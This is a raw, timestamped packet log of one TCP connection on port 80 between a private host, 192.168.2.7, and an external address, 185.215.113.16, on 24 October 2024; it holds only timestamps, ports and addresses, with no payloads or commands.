Oct 24, 2024 04:02:03.358315945 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358355999 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358385086 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358401060 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358412981 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358421087 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358424902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358433962 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358449936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358464003 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358726025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358736992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358747959 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.358764887 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358777046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.358794928 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391300917 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391396999 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391415119 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391432047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391443014 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391453981 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391458035 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391467094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391479015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391518116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391596079 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391629934 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391647100 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391659021 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391684055 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391701937 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391824007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391835928 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391844988 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.391864061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.391876936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.392041922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.392054081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.392070055 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.392081022 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.392081022 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.392092943 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.392108917 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.392132998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476303101 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476326942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476336002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476355076 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476366997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476376057 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476377964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476389885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476408005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476418018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476424932 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476428032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476438046 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476449013 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476452112 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476469040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476495028 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476694107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476705074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476716995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476731062 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476742983 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476761103 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476890087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476901054 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476911068 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476927996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476931095 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476942062 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476942062 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476952076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476963043 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.476974010 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.476988077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477010012 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477519035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477529049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477545023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477555990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477566004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477566957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477595091 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477606058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477797985 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477837086 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477879047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477890015 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477900982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.477914095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.477931023 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511142015 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511157990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511168003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511194944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511204004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511204958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511217117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511226892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511226892 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511238098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511260986 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511279106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511465073 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511502981 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511585951 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511598110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511609077 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511620045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511624098 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511631966 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511635065 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511643887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511653900 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511656046 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511663914 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.511678934 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.511699915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595604897 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595660925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595690966 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595704079 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595730066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595733881 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595750093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595769882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595789909 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595798969 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595817089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595837116 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595854044 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595920086 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595931053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.595957994 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.595978022 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596033096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596055031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596065998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596066952 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596093893 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596110106 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596229076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596250057 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596260071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596286058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596298933 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596426010 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596457005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596467018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596496105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596514940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596654892 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596667051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596678019 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596688986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596699953 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596723080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596935987 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596947908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596957922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.596982956 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.596997976 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597156048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597178936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597191095 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597202063 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597214937 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597218037 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597234964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597234964 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597245932 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597254038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597259045 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597269058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597270012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597281933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.597294092 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597312927 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.597328901 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.630103111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630126953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630136967 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630156994 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.630178928 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.630244017 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630254984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630266905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630307913 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.630320072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.630361080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630373001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630384922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.630399942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.630422115 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.631082058 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631094933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631104946 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631118059 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631129026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631130934 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.631140947 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631149054 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.631153107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631164074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631170988 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.631171942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.631206036 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.714867115 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.714899063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.714907885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.714920044 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.714943886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.714977980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715104103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715115070 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715125084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715137005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715147972 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715157032 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715157986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715169907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715178013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715202093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715504885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715562105 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715604067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715614080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715641022 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715650082 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715651989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715663910 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715683937 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715699911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.715960979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715972900 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.715984106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716000080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716002941 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716012001 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716023922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716034889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716053963 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716078043 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716336012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716360092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716372013 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716384888 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716407061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716572046 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716593027 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716614008 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716615915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716635942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716640949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716648102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716659069 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716660023 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716670990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716681004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716681957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716692924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.716711998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.716733932 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.758841991 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758924961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758927107 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.758934975 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758945942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758955002 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758961916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.758963108 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758974075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.758991957 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759012938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759022951 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759032011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759033918 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759046078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759048939 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759056091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759064913 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759074926 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759100914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759191036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759210110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759227991 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759251118 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.759416103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.759462118 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834207058 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834228992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834243059 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834261894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834268093 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834292889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834340096 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834384918 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834395885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834405899 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834430933 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834465027 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834537983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834548950 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834562063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834583998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834619045 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834652901 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834700108 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834755898 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834772110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834784031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834794044 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.834810972 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.834841013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.835055113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835066080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835077047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835104942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.835119009 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.835150957 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835163116 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835174084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835201025 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.835227013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.835437059 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835481882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:03.835557938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835571051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:03.835592985 CEST	80	49930	185.215.113.16	192.168.2.7
